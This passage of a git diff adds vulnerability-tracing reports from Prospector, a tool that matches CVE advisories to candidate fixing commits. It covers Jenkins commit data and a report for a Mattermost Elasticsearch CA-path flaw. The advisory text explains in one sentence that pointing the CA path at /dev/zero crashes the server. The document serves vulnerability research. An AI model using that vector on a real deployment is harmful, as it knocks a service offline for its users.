"jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8716", + "relevance": 2 + } + ] + }, + { + "commit_id": "f0846d9797b85fa3369a267cd8045211314640b7", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1699112837, + "hunks": 2, + "message": "[JENKINS-72266] Upgrade Winstone from 6.14 to 6.16 (upgrade Jetty from 10.0.17 to 10.0.18 (#8666) [JENKINS-72266] Upgrade Winstone from 6.14 to 6.16 (upgrade Jetty from 10.0.17 to 10.0.18) (cherry picked from commit d3295776738cb4675161e71c992777b4605991e8)", + "changed_files": [ + "pom.xml", + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8666": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.426.2", + "jenkins-2.426.2-rc-1", + "jenkins-2.426.3", + "jenkins-2.426.3-rc" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8666", + "relevance": 2 + } + ] + }, + { + "commit_id": "aad79effa12865395403badd58cef8a56e4860c7", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1700864217, + "hunks": 77, + "message": "[JENKINS-72009, JENKINS-72200, JENKINS-24947] various fixes and improvements around disk space monitoring (#8593)", + "changed_files": [ + "core/src/main/java/hudson/Functions.java", + "core/src/main/java/hudson/model/Computer.java", + "core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java", + "core/src/main/java/hudson/node_monitors/AbstractDiskSpaceMonitor.java", + "core/src/main/java/hudson/node_monitors/DiskSpaceMonitor.java", + "core/src/main/java/hudson/node_monitors/DiskSpaceMonitorDescriptor.java", + "core/src/main/java/hudson/node_monitors/DiskSpaceMonitorNodeProperty.java", + "core/src/main/java/hudson/node_monitors/TemporarySpaceMonitor.java", + "core/src/main/resources/hudson/model/ComputerSet/configure.jelly", + "core/src/main/resources/hudson/model/ComputerSet/index.jelly", + "core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config.jelly", + "core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/help-freeSpaceThreshold.html", + "core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/help-freeSpaceWarningThreshold.html", + "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitor/column.jelly", + "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitor/help.html", + "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/config.jelly", + "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/config_de.properties", + "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeDiskSpaceThreshold.html", + "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeDiskSpaceWarningThreshold.html", + "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeTempSpaceThreshold.html", + "core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeTempSpaceWarningThreshold.html", + "core/src/main/resources/hudson/node_monitors/Messages.properties", + "core/src/main/resources/hudson/node_monitors/Messages_bg.properties", + "core/src/main/resources/hudson/node_monitors/Messages_cs.properties", + "core/src/main/resources/hudson/node_monitors/Messages_da.properties", + "core/src/main/resources/hudson/node_monitors/Messages_de.properties", + "core/src/main/resources/hudson/node_monitors/Messages_es.properties", + "core/src/main/resources/hudson/node_monitors/Messages_fr.properties", + "core/src/main/resources/hudson/node_monitors/Messages_it.properties", + "core/src/main/resources/hudson/node_monitors/Messages_ja.properties", + "core/src/main/resources/hudson/node_monitors/Messages_nl.properties", + "core/src/main/resources/hudson/node_monitors/Messages_pt_BR.properties", + "core/src/main/resources/hudson/node_monitors/Messages_ru.properties", + "core/src/main/resources/hudson/node_monitors/Messages_sr.properties", + "core/src/main/resources/hudson/node_monitors/Messages_sv_SE.properties", + "core/src/main/resources/hudson/node_monitors/Messages_zh_TW.properties", + "core/src/main/resources/hudson/node_monitors/TemporarySpaceMonitor/column.jelly", + "core/src/main/resources/hudson/node_monitors/TemporarySpaceMonitor/help.html" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8593": "JENKINS-63607 Do not disconnect agent when remoting doesn't match jenkinsci/versioncolumn-plugin#192 [JENKINS-72284] Take agents offline and online immediately jenkinsci/versioncolumn-plugin#198" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.434", + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8593", + "relevance": 2 + } + ] + }, + { + "commit_id": "34f26ca92a45e3db8b2677d42573f4b16c43a507", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709071877, + "hunks": 2, + "message": "Upgrade `org.apache.commons:commons-compress` from 1.25.0 to 1.26.0 on `stable-2.440`", + "changed_files": [ + "bom/pom.xml", + "core/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [] + }, + { + "commit_id": "8cbb397aa96b9fa3b410e8cfb405b233ac2402a2", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705709447, + "hunks": 2, + "message": "Towards 2.440.1", + "changed_files": [ + ".mvn/maven.config", + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [] + } + ], + "processing_statistics": { + "core": { + "retrieval of commit candidates": { + "execution time": [ + 0.0720368754118681 + ] + }, + "git": { + "git": { + "Git": { + "create_commits": { + "execution time": [ + 0.07178493961691856 + ] + } + } + } + }, + "candidates": 374, + "commit preprocessing": { + "execution time": [ + 0.19533305428922176 + ] + }, + "candidates analysis": { + "execution time": [ + 0.338120823726058 + ] + }, + "save commits to backend": { + "execution time": [ + 0.027100898325443268 + ] + }, + "execution time": [ + 4.142458019778132 + ] + }, + "rules": { + "active": [ + 17 + ], + "matches": [ + 507 + ] + }, + "LLM": { + "repository_url": { + "execution time": [ + 2.521301181986928 + ] + }, + "commit_classification": { + "execution time": [ + 0.01760508306324482, + 0.017088305205106735, + 0.01576736383140087, + 0.015721900388598442, + 0.01567993126809597, + 0.015510763972997665, + 0.015168087556958199, + 0.014862647280097008, + 0.014375794678926468, + 0.014935515820980072 + ] + } + } + } +} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.html b/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.html new file mode 100644 index 000000000..01cc15a1c --- /dev/null +++ b/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.html @@ -0,0 +1,16695 @@ + + + + + + + + + + + + + + + + Prospector Report + + + + +
    +
    +
    + + +

    Filters

    +

    + Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. +

    + +
    +
    + +
    +
    + +
    +
    + + + + +
    +

    Advisory Record

    + CVE-2024-39810
    +

    Mattermost versions 9.5.x <= 9.5.7 and 9.10.x <= 9.10.0 fail to time limit and size limit the CA path file in the ElasticSearch configuration which allows a System Role with access to the Elasticsearch system console to add any file as a CA path field, such as /dev/zero and, after testing the connection, cause the application to crash.

    + + +
    Possible relevant files/methods
    +

    +

      + +
    • ElasticSearch
    • + +
    +

    + + +
    Other relevant keywords
    +

    + +

  • access
  • + + +
  • allow
  • + + +
  • application
  • + + +
  • cause
  • + + +
  • configuration
  • + + +
  • connection
  • + + +
  • console
  • + + +
  • crash
  • + + +
  • elasticsearch
  • + + +
  • fail
  • + + +
  • field
  • + + +
  • file
  • + + +
  • limit
  • + + +
  • path
  • + + +
  • role
  • + + +
  • size
  • + + +
  • system
  • + + +
  • test
  • + + +
  • time
  • + + +
  • version
  • + + +

    + +
    + + + +
    +
    +
    Execution Statistics
    + +
    +
    +
    • core
      • retrieval of commit candidates
        • execution time = 0.0724 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time = 0.07216 seconds
      • candidates = 164 commits
      • commit preprocessing
        • execution time = 0.3034 seconds
      • candidates analysis
        • execution time = 4.637 seconds
      • save commits to backend
        • execution time = 0.03895 seconds
      • execution time = 7.247 seconds
    • rules
      • active = 17 rules
      • matches = 396 matches
    • LLM
      • repository_url
        • execution time = 1.651 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 0.4364792799577117 seconds
          • deviation = 0.6901174096931382 seconds
          • median = 0.01752244494855404 seconds
          • count = 10
          • sum = 4.364792799577117 seconds
    +
    +
    + +
    + +
    +
    +
    +
    +

    Prospector Report

    +
    + + +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-53962: Adding ES8 dependency (#24399) * Adding ES8 dependency... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 54 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 177389d224aadf27e45b84990f75eda707b39779 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: ElasticSearch
      +
    • + +
    • +
      The commit changes some relevant files: webapp/channels/src/components/admin_console/__snapshots__/elasticsearch_settings.test.tsx.snap, webapp/channels/src/components/admin_console/elasticsearch_settings.tsx
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: elasticsearch, console, file, test
      +
    • + +
    • +
      The commit message references some github issue: 24399
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-53962: Adding ES8 dependency (#24399) * Adding ES8 dependency ```release-note NONE ``` Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + e2e-tests/.ci/server.generate.sh + + e2e-tests/playwright/support/server/default_config.ts + + server/build/Dockerfile.opensearch + + server/build/docker-compose-generator/main.go + + server/build/docker-compose.common.yml + + server/build/docker-compose.yml + + server/channels/jobs/jobs.go + + server/cmd/mmctl/commands/enterprise.go + + server/docker-compose.makefile.m1.yml + + server/docker-compose.makefile.yml + + server/docker-compose.yaml + + server/go.mod + + server/go.sum + + server/i18n/en.json + + server/public/model/builtin.go + + server/public/model/config.go + + server/tests/test-config.json + + webapp/channels/src/components/admin_console/__snapshots__/elasticsearch_settings.test.tsx.snap + + webapp/channels/src/components/admin_console/elasticsearch_settings.tsx + + webapp/channels/src/i18n/en.json + + webapp/platform/types/src/config.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58847 Sanitize User (#27471) * add more fields to sanitizeInput... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 46 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + ea6490a5eb764f5c032c2cdc59a3a754a94481f6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some security-related keywords: sanitize
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: field, test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27471
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58847 Sanitize User (#27471) * add more fields to sanitizeInput on User * add test for user sanoitizeInput * add more fields * remove line, lint fix * additional fields and sanitize update * Update user_test.go * remove fields that are unnecessary to check * add check to test --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + api/v4/source/users.yaml + + server/channels/api4/user_test.go + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58548 Remove manage_team permissions from System Console... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 44 +
    + +
    +
    +
    + + Tag: v9.10.1 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 075d0664e478d8f8e425d3d6a3962e2ff2af0f7c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: console, system
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: role, test
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27395, 27599
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58548 Remove manage_team permissions from System Console Ancillary permissions (#27395) (#27599) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/channel.go + + server/channels/api4/channel_test.go + + server/channels/api4/group.go + + server/channels/api4/group_test.go + + server/channels/db/migrations/migrations.list + + server/channels/db/migrations/mysql/000124_remove_manage_team_permission.down.sql + + server/channels/db/migrations/mysql/000124_remove_manage_team_permission.up.sql + + server/channels/db/migrations/postgres/000124_remove_manage_team_permission.down.sql + + server/channels/db/migrations/postgres/000124_remove_manage_team_permission.up.sql + + server/public/model/role.go + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-57354: Fix elastic search e2e tests (#27670) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 26 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d71e5e4f4ef05c336e27219c92c2599853f99abe +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: ElasticSearch
      +
    • + +
    • +
      The commit changes some relevant files: e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/helpers/index.js, e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/system_console_spec.js
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: elasticsearch, console, test, system
      +
    • + +
    • +
      The commit message references some github issue: 27670
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-57354: Fix elastic search e2e tests (#27670)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + e2e-tests/cypress/tests/integration/channels/autocomplete/helpers.ts + + e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/crt_settings_spec.js + + e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/global_threads_spec.js + + e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/replies_spec.js + + e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/unread_spec.js + + e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/helpers/index.js + + e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/system_console_spec.js + + e2e-tests/cypress/tests/support/ui/post_dropdown_menu.js + + e2e-tests/cypress/tests/support/ui/sidebar_left.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Added a bunch of debugging logs for Elasticsearch index check... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 18 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b25820b5c56ff7b62ff60d01e085a4fce1ebbc52 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit changes some relevant files: server/channels/app/elasticsearch.go
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: elasticsearch
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: elasticsearch
      +
    • + +
    • +
      The commit message references some github issue: 27678
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Added a bunch of debugging logs for Elasticsearch index check (#27678) * Added a bunch of debugging logs for Elasticsearch index check * Update server/channels/app/elasticsearch.go --------- Co-authored-by: Harrison Healey <harrisonmhealey@gmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/elasticsearch.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Replace Hard-coded HTTP Verbs with Constants (#27219) * Replace... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 14 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d44c3d5d45a3f865244178b322dbd0b8576f1316 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit changes some relevant files: server/channels/api4/elasticsearch.go
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: limit, role, elasticsearch, system, file, test, connection
      +
    • + +
    • +
      The commit message references some github issue: 27219
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Replace Hard-coded HTTP Verbs with Constants (#27219) * Replace hard-coded HTTP verbs with constants in `net/http`
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/bleve.go + + server/channels/api4/bot.go + + server/channels/api4/bot_local.go + + server/channels/api4/brand.go + + server/channels/api4/channel.go + + server/channels/api4/channel_bookmark.go + + server/channels/api4/channel_local.go + + server/channels/api4/cloud.go + + server/channels/api4/cluster.go + + server/channels/api4/command.go + + server/channels/api4/command_local.go + + server/channels/api4/compliance.go + + server/channels/api4/config.go + + server/channels/api4/config_local.go + + server/channels/api4/data_retention.go + + server/channels/api4/drafts.go + + server/channels/api4/elasticsearch.go + + server/channels/api4/emoji.go + + server/channels/api4/export.go + + server/channels/api4/export_local.go + + server/channels/api4/file.go + + server/channels/api4/group.go + + server/channels/api4/group_local.go + + server/channels/api4/hosted_customer.go + + server/channels/api4/image.go + + server/channels/api4/import.go + + server/channels/api4/import_local.go + + server/channels/api4/integration_action.go + + server/channels/api4/ip_filtering.go + + server/channels/api4/job.go + + server/channels/api4/job_local.go + + server/channels/api4/ldap.go + + server/channels/api4/ldap_local.go + + server/channels/api4/license.go + + server/channels/api4/license_local.go + + server/channels/api4/limits.go + + server/channels/api4/metrics.go + + server/channels/api4/oauth.go + + server/channels/api4/outgoing_oauth_connection.go + + server/channels/api4/permission.go + + server/channels/api4/plugin.go + + server/channels/api4/plugin_local.go + + server/channels/api4/post.go + + server/channels/api4/post_local.go + + server/channels/api4/preference.go + + server/channels/api4/reaction.go + + server/channels/api4/remote_cluster.go + + server/channels/api4/report.go + + server/channels/api4/role.go + + server/channels/api4/role_local.go + + server/channels/api4/saml.go + + server/channels/api4/scheme.go + + server/channels/api4/shared_channel.go + + server/channels/api4/status.go + + server/channels/api4/system.go + + server/channels/api4/system_local.go + + server/channels/api4/team.go + + server/channels/api4/team_local.go + + server/channels/api4/terms_of_service.go + + server/channels/api4/upload.go + + server/channels/api4/upload_local.go + + server/channels/api4/usage.go + + server/channels/api4/user.go + + server/channels/api4/user_local.go + + server/channels/api4/webhook.go + + server/channels/api4/webhook_local.go + + server/channels/api4/websocket.go + + server/channels/manualtesting/manual_testing.go + + server/channels/web/oauth.go + + server/channels/web/saml.go + + server/channels/web/static.go + + server/channels/web/webhook.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update Copilot plugin prepackaged version to 0.8.3 (#27645) (#27657)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: v9.10.1 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2e4be7a5fb8782c0235f598caf6e56e1c6c2ec81 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27645, 27657
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update Copilot plugin prepackaged version to 0.8.3 (#27645) (#27657) (cherry picked from commit fa8269e4ab0c9e2986ef3dd505363a3bc5ab8a52) Co-authored-by: Christopher Speller <crspeller@gmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/Makefile + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58525 Fix upload file permissions (#27298) (#27533) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: v9.5.8 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b9c444c533777e775b27d5c27efaa9ab8d2bc42b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: console, file, test
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27298, 27533
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58525 Fix upload file permissions (#27298) (#27533) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/db/migrations/migrations.list + + server/channels/db/migrations/mysql/000123_remove_upload_file_permission.down.sql + + server/channels/db/migrations/mysql/000123_remove_upload_file_permission.up.sql + + server/channels/db/migrations/postgres/000123_remove_upload_file_permission.down.sql + + server/channels/db/migrations/postgres/000123_remove_upload_file_permission.up.sql + + webapp/channels/src/components/admin_console/permission_schemes_settings/guest_permissions_tree/__snapshots__/guest_permissions_tree.test.tsx.snap + + webapp/channels/src/components/admin_console/permission_schemes_settings/guest_permissions_tree/guest_permissions_tree.tsx + + webapp/channels/src/components/admin_console/permission_schemes_settings/permissions_tree/__snapshots__/permissions_tree.test.tsx.snap + + webapp/channels/src/components/admin_console/permission_schemes_settings/permissions_tree/permissions_tree.tsx + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Sanitize RemoteEmail user prop (#27170) (#27514) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: v9.8.3 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8e5d3961105417401b90d26c5f8c73fecf5df1a4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some security-related keywords: sanitize
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27170, 27514
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Sanitize RemoteEmail user prop (#27170) (#27514) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/platform/services/sharedchannel/service.go + + server/platform/services/sharedchannel/sync_recv.go + + server/platform/services/sharedchannel/util.go + + server/public/model/shared_channel.go + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-57418] Implement support for defining plugin settings sections... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + be94c47607b156c31cb5906670479a95ab806f0f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: configuration, test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: console, test
      +
    • + +
    • +
      The commit message references some github issue: 27654
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-57418] Implement support for defining plugin settings sections (#27654) * Implement support for defining plugin settings sections * Implement custom plugin configuration sections * Tests * Update test * Improvements
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/public/model/manifest.go + + server/public/model/manifest_test.go + + webapp/channels/src/actions/admin_actions.jsx + + webapp/channels/src/actions/admin_actions.test.js + + webapp/channels/src/components/admin_console/admin_definition.tsx + + webapp/channels/src/components/admin_console/custom_plugin_settings/custom_plugin_settings.test.tsx + + webapp/channels/src/components/admin_console/custom_plugin_settings/index.ts + + webapp/channels/src/components/admin_console/schema_admin_settings.tsx + + webapp/channels/src/components/admin_console/types.ts + + webapp/channels/src/i18n/en.json + + webapp/channels/src/plugins/registry.ts + + webapp/channels/src/reducers/plugins/index.test.ts + + webapp/channels/src/reducers/plugins/index.ts + + webapp/channels/src/selectors/admin_console.jsx + + webapp/channels/src/types/store/plugins.ts + + webapp/channels/src/utils/constants.tsx + + webapp/platform/types/src/plugins.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58756: paginate webhooks list (#27368) * MM-58756: paginate... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9304c404dfe4c5b1465a13aa831e6b413688853f +
    +
